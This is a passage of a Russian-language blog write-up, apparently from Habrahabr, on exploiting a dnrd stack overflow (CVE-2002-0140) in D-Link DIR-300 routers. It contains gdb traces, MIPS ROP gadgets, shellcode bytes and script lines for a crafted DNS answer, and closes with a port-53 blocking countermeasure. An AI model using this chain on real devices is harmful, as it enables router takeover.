\u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u043e \u0440\u0435\u0433\u0438\u0441\u0442\u0440 ra \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u0435\u043a\u0435. \u042d\u0442\u0438\u043c \u043c\u044b \u0441\u043a\u043e\u0440\u043e \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f.<\/p>\n<p>  \u0421\u0432\u0435\u0440\u0438\u0432\u0448\u0438\u0441\u044c \u0441 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u043c\u0438, \u0443\u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0432 a0 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 (<i>msg<\/i>), \u0430 \u0432 a2 \u0430\u0434\u0440\u0435\u0441 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0435 NAME DNS-\u043e\u0442\u0432\u0435\u0442\u0430 (y-&gt;name);<br \/>  \u0432 \u04303 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 i \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 y-&gt;name[i]. \u041c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u043f\u0430\u043a\u0435\u0442\u043e\u043c \u0438 y-&gt;name \u2014 \u043e\u043d\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 670 \u0431\u0430\u0439\u0442.   <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0412\u043b\u0430\u0434\u0435\u044f \u044d\u0442\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u0437\u0430\u0433\u043b\u044f\u043d\u0435\u043c \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x004052bc<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code>(gdb) x\/20i 0x004052bc 0x4052bc &lt;free_packet+1148&gt;:\tlui\tgp,0xfc0 0x4052c0 &lt;free_packet+1152&gt;:\taddiu\tgp,gp,12532 0x4052c4 &lt;free_packet+1156&gt;:\taddu\tgp,gp,t9 0x4052c8 &lt;free_packet+1160&gt;:\taddiu\tsp,sp,-48 0x4052cc &lt;free_packet+1164&gt;:\tsw\tgp,16(sp) 0x4052d0 &lt;free_packet+1168&gt;:\tsw\ts1,36(sp) 0x4052d4 &lt;free_packet+1172&gt;:\tsw\ts0,32(sp) 0x4052d8 &lt;free_packet+1176&gt;:\tsw\tra,44(sp) 0x4052dc &lt;free_packet+1180&gt;:\tsw\tgp,40(sp) 0x4052e0 &lt;free_packet+1184&gt;:\tlw\tt0,0(a1) 0x4052e4 &lt;free_packet+1188&gt;:\tmove\ts0,a1 0x4052e8 &lt;free_packet+1192&gt;:\tlbu\ta1,0(t0) 0x4052ec &lt;free_packet+1196&gt;:\tnop 0x4052f0 &lt;free_packet+1200&gt;:\tbeqz\ta1,0x4053c4 &lt;free_packet+1412&gt; 0x4052f4 &lt;free_packet+1204&gt;:\tmove\ts1,a2 0x4052f8 &lt;free_packet+1208&gt;:\taddiu\tv0,t0,1 0x4052fc &lt;free_packet+1212&gt;:\tandi\tv1,a1,0xc0 0x405300 &lt;free_packet+1216&gt;:\tbeqz\tv1,0x40534c &lt;free_packet+1292&gt; 0x405304 &lt;free_packet+1220&gt;:\tsw\tv0,0(s0) 0x405308 &lt;free_packet+1224&gt;:\tlbu\tv1,1(t0) (gdb) <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u041e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x4052fc \u044d\u0442\u043e \u0447\u0430\u0441\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0441\u0436\u0430\u0442\u0438\u044f \u0432 \u043f\u043e\u043b\u0435 NAME. \u0421\u0430\u043c\u043e\u0435 \u043c\u0435\u0441\u0442\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u043e\u0447\u043a\u0443 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0430 \u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u0437\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438 a3 \u0438 a0+12 (\u043f\u043e\u043b\u0435 \u0434\u043b\u0438\u043d\u043d\u044b \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 NAME). \u0418 \u0432\u043e\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u044f \u0437\u0430 \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0435\u0439 \u043c\u044b \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044f\u043c\u0438 \u0447\u0443\u0434\u0430 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f:  <\/p>\n<pre><code class=\"dos\">Breakpoint 7, 0x004052fc in free_packet () 3: x\/xb $a0 + 12  0x7fc9b96c:\t0x23 1: $a3 = 690 <\/code><\/pre>\n<p>  \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0442\u043e, \u0447\u0442\u043e \u043c\u044b \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0430\u043a\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e (1,2,3,&#8230;), \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0434\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u0441\u043a\u0440\u0438\u043f\u0442:  <\/p>\n<pre><code class=\"python\">k_answer[35] = 0x00 # 0\u044523 == 35 <\/code><\/pre>\n<p>  \u0420\u0435\u043a\u0443\u0440\u0441\u0438\u044f \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0438 \u043c\u043e\u0436\u043d\u043e \u0441\u043d\u043e\u0432\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u043e\u0447\u043a\u0443 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0430 \u0432 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0438\u0437 <i>get_objectname()<\/i> \u0432 <i>parse_query()<\/i>  <\/p>\n<pre><code class=\"dos\">Breakpoint 8, 0x00405e94 in parse_query () 1: $a3 = 690 (gdb) bt #0  0x00405e94 in parse_query () #1  0x004033d0 in cache_dnspacket () #2  0x14131211 in ?? () <\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u0437\u043d\u0430\u0435\u043c \u043a\u0443\u0434\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u043d\u043e \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0442\u0440\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b:   <\/p>\n<ul>\n<li>\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0438 \u043c\u044b \u0438\u0441\u043f\u043e\u0440\u0442\u0438\u043b\u0438 \u043d\u0430\u0448 \u043f\u0430\u043a\u0435\u0442 \u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u0435 msg \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043f\u0430\u043a\u0435\u0442\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b\u0438<\/li>\n<li> \u0441\u0442\u0435\u043a \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438 \u0430\u0434\u0440\u0435\u0441 \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d \u043f\u0430\u043a\u0435\u0442 \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043a\u043e\u0434 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c, \u043d\u0430\u043c \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d<\/li>\n<li> \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b MIPS \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u0432\u0443\u0445 \u043a\u044d\u0448\u0435\u0439 \u2014 \u0434\u043b\u044f \u043a\u043e\u0434\u0430 \u0438 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445. \u0415\u0441\u043b\u0438 \u043c\u044b \u043f\u043e\u043f\u044b\u0442\u0430\u0435\u043c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c\u044b\u0439 \u043d\u0430\u0448\u0438\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435, \u0435\u0433\u043e \u0442\u0430\u043c \u043d\u0435 \u043e\u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0438\u0431\u043e \u043d\u0430\u0448 \u043f\u0430\u043a\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043a\u044d\u0448\u0435 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u043e \u043d\u0435 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438.<\/li>\n<\/ul>\n<p>  <\/p>\n<h3>\u041f\u0435\u0440\u0435\u0434\u0430\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0442\u0435\u043a<\/h3>\n<p>  \u0412\u0442\u043e\u0440\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0440\u0435\u0448\u0438\u0442 ROP(<a href=\"http:\/\/ru.wikipedia.org\/wiki\/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%D0%B2%D0%BE%D0%B7%D0%B2%D1%80%D0%B0%D1%82%D0%B0_%D0%B2_%D0%B1%D0%B8%D0%B1%D0%BB%D0%B8%D0%BE%D1%82%D0%B5%D0%BA%D1%83\">return-oriented programming)<\/a>. \u0421\u0443\u0442\u044c \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043c\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 (\u0430\u0434\u0440\u0435\u0441\u0430 \u0438\u0445 \u043d\u0430\u043c \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b) \u0440\u0435\u0448\u0430\u044e\u0449\u0438\u0435 \u0447\u0430\u0441\u0442\u044c \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0441\u0442\u0440\u043e\u0438\u043c \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0440\u0435\u0448\u0430\u044e\u0449\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0432\u0435\u043d\u0430 \u043a \u0434\u0440\u0443\u0433\u043e\u043c\u0443 \u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u0443\u044f \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u043c\u0438 \u043d\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435. <br \/>  \u0422\u0440\u0435\u0442\u044c\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u0440\u0435\u0448\u0438\u0442\u044c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <i>cacheflush()<\/i>, \u043d\u043e \u0435\u0439 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0441, \u0447\u0438\u0441\u043b\u043e \u0431\u0430\u0439\u0442 \u0438 \u0442\u0438\u043f \u043a\u044d\u0448\u0430. \u0411\u043e\u043b\u044c\u043d\u043e \u0443\u0436 \u0445\u043b\u043e\u043f\u043e\u0442\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0442\u0440\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c ROP. \u0415\u0441\u0442\u044c \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u043e\u043f\u0440\u043e\u0449\u0435 \u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0430 \u0441\u0435\u043a\u0443\u043d\u0434\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u043f\u0430\u0442\u044c\u2026 \u0438 \u0432\u0441\u0435 \u043f\u0440\u043e\u0439\u0434\u0435\u0442. \u041d\u0430\u0448 \u0432\u044b\u0431\u043e\u0440 \u2014 \u0432\u044b\u0437\u0432\u0430\u0442\u044c <i>sleep(1)<\/i>. <br \/>  \u041f\u0435\u0440\u0432\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u2014 \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043c \u043d\u0435\u043c\u043d\u043e\u0433\u043e <i>sp<\/i>, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u043b \u043d\u0430 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \u0412\u043e\u0442 \u0447\u0442\u043e \u044f \u043d\u0430\u0448\u0435\u043b grep&#8217;\u0430\u044f \u0432\u044b\u0432\u043e\u0434 <i>mipsel-linux-uclibc-objdump -d<\/i>.   <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0414\u0432\u0438\u0433\u0430\u0435\u043c \u0441\u0442\u0435\u043a \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c s1 \u0432 0\u0445000001<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code> 404e1c:       8fbf0024        lw      ra,36(sp)  404e20:       8fb1001c        lw      s1,28(sp)  404e24:       8fb00018        lw      s0,24(sp)  404e28:       00601021        move    v0,v1  404e2c:       03e00008        jr      ra  404e30:       27bd0028        addiu   sp,sp,40 <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u041f\u043e\u043c\u0435\u0441\u0442\u0438\u043c s1 \u0432 a0 \u0438 \u0432\u044b\u0437\u043e\u0432\u0435\u043c sleep(); \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c gp = 2ab9a594, \u0438\u0431\u043e \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 $gp &#8212; 32668 libc \u0445\u0440\u0430\u043d\u0438\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 sleep()<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code>0x2ab05b18 &lt;clnttcp_create+2520&gt;:       lw      gp,16(sp) 0x2ab05b1c &lt;clnttcp_create+2524&gt;:       move    a0,s1 0x2ab05b20 &lt;clnttcp_create+2528&gt;:       lw      t9,-32668(gp) 0x2ab05b24 &lt;clnttcp_create+2532&gt;:       jalr    t9                                              0x2ab05b28 &lt;clnttcp_create+2536&gt;:       nop 0x2ab05b2c &lt;clnttcp_create+2540&gt;:       lw      gp,16(sp) 0x2ab05b30 &lt;clnttcp_create+2544&gt;:       lw      ra,36(sp) 0x2ab05b34 &lt;clnttcp_create+2548&gt;:       lw      s1,28(sp) 0x2ab05b38 &lt;clnttcp_create+2552&gt;:       lw      s0,24(sp) 0x2ab05b3c &lt;clnttcp_create+2556&gt;:       jr      ra 0x2ab05b40 &lt;clnttcp_create+2560&gt;:       addiu   sp,sp,40 <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u041f\u043e\u043c\u0435\u0441\u0442\u0438\u043c \u0432 a3 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0441\u0442\u0435\u043a<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code>0x2ab081ec &lt;pmap_rmtcall+172&gt;:  addiu   a3,sp,40 0x2ab081f0 &lt;pmap_rmtcall+176&gt;:  beqz    v0,0x2ab08284 &lt;pmap_rmtcall+324&gt; 0x2ab08284 &lt;pmap_rmtcall+324&gt;:  move    v0,s1                                                         0x2ab08288 &lt;pmap_rmtcall+328&gt;:  sh      zero,2(s4) 0x2ab0828c &lt;pmap_rmtcall+332&gt;:  lw      ra,116(sp) 0x2ab08290 &lt;pmap_rmtcall+336&gt;:  lw      s5,108(sp) 0x2ab08294 &lt;pmap_rmtcall+340&gt;:  lw      s4,104(sp) 0x2ab08298 &lt;pmap_rmtcall+344&gt;:  lw      s3,100(sp) 0x2ab0829c &lt;pmap_rmtcall+348&gt;:  lw      s2,96(sp) 0x2ab082a0 &lt;pmap_rmtcall+352&gt;:  lw      s1,92(sp) 0x2ab082a4 &lt;pmap_rmtcall+356&gt;:  lw      s0,88(sp) 0x2ab082a8 &lt;pmap_rmtcall+360&gt;:  jr      ra 0x2ab082ac &lt;pmap_rmtcall+364&gt;:  addiu   sp,sp,120 <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0418, \u043d\u0430\u043a\u043e\u043d\u0435\u0446 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u0448\u0435\u043c\u0443 \u0441\u043a\u0440\u043e\u043c\u043d\u043e\u043c\u0443 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0443<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code>0x2ab1b1f4 &lt;_obstack_begin+100&gt;:        move    t9,a3 0x2ab1b1f8 &lt;_obstack_begin+104&gt;:        jalr    t9  <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u041e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u0442\u0440\u043e\u0447\u043a\u0438 \u0432\u0438\u0434\u0430:  <\/p>\n<pre><code class=\"python\">k_answer[a:b] = [s,s,re,ad]  <\/code><\/pre>\n<p>  \u0433\u0434\u0435 <i>\u0430<\/i> \u2014 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435; <i>ad,re,s,s<\/i> \u2014 \u0431\u0430\u0439\u0442\u044b \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043d\u0430\u0439\u0434\u0435\u043d\u044b\u0445 ROP-\u0433\u0430\u0434\u0436\u0442\u043e\u0432(\u0432 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435, \u0442.\u043a. \u043a\u0440\u0438\u0441\u0442\u0430\u043b\u043b \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 little-endian) \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434:  <\/p>\n<pre><code class=\"python\">k_answer[123:147] = [0,0,0,0,0xb4,0x2a,0x19,0x3c,0xe0,0xb7,0x39,0x27,0,0,0,0,0x09,0xf8,0x20,0x03,0,0,0,0]  <\/code><\/pre>\n<p>  \u0418 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043a\u0430\u043a \u043d\u0430\u0448 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f:  <\/p>\n<pre><code class=\"dos\">Breakpoint 13, 0x7fd0f9e0 in ?? () (gdb) x\/5i $pc 0x7fd0f9e0:\tlui\tt9,0x2ab4 0x7fd0f9e4:\taddiu\tt9,t9,-18464 0x7fd0f9e8:\tnop 0x7fd0f9ec:\tjalr\tt9 0x7fd0f9f0:\tnop (gdb) c Continuing.  Program exited normally. <\/code><\/pre>\n<p>  <\/p>\n<h3>\u041c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0442\u0441\u0432\u0438\u044f<\/h3>\n<p>  \u0412\u0441\u0435 \u0432\u044b\u0448\u0435\u0441\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0435 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0434\u043b\u044f \u0440\u043e\u0443\u0442\u0435\u0440\u043e\u0432 Dlink DIR-300 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0445 \u0440\u0435\u0432\u0438\u0437\u0438\u0439 B1,B2 \u0438 B3. \u0422\u0430\u043a\u0436\u0435 \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b DIR-300 A1 \u0438 DIR-320, \u043d\u043e \u0441\u0430\u043c \u043f\u0430\u043a\u0435\u0442 \u0434\u043b\u044f \u043d\u0438\u0445 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u043c. <br \/>  \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430, \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u0421\u0430\u043c\u044b\u043c \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043d\u0430 53 \u043f\u043e\u0440\u0442. \u0421\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0447\u0435\u0440\u0435\u0437 web-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0440\u043e\u0443\u0442\u0435\u0440\u0430. \u042d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0443 \u043a\u0430\u043a \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u0442\u0430\u043a \u0438 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u0432\u0435\u0442\u044b \u0442.\u043a. \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0430 \u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u044f \u0430\u0434\u0440\u0435\u0441\u043e\u0432.    \t<\/p>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/202034\/\"> http:\/\/habrahabr.ru\/post\/202034\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">   \t\u042f <a href=\"http:\/\/habrahabr.ru\/post\/199294\/\">\u0443\u0436\u0435 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b<\/a>, \u0447\u0442\u043e \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 D-Link DIR-300NRU, \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b DNS \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u0435\u043c\u043e\u043d dnrd \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2002-0140. \u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u044f \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u044e 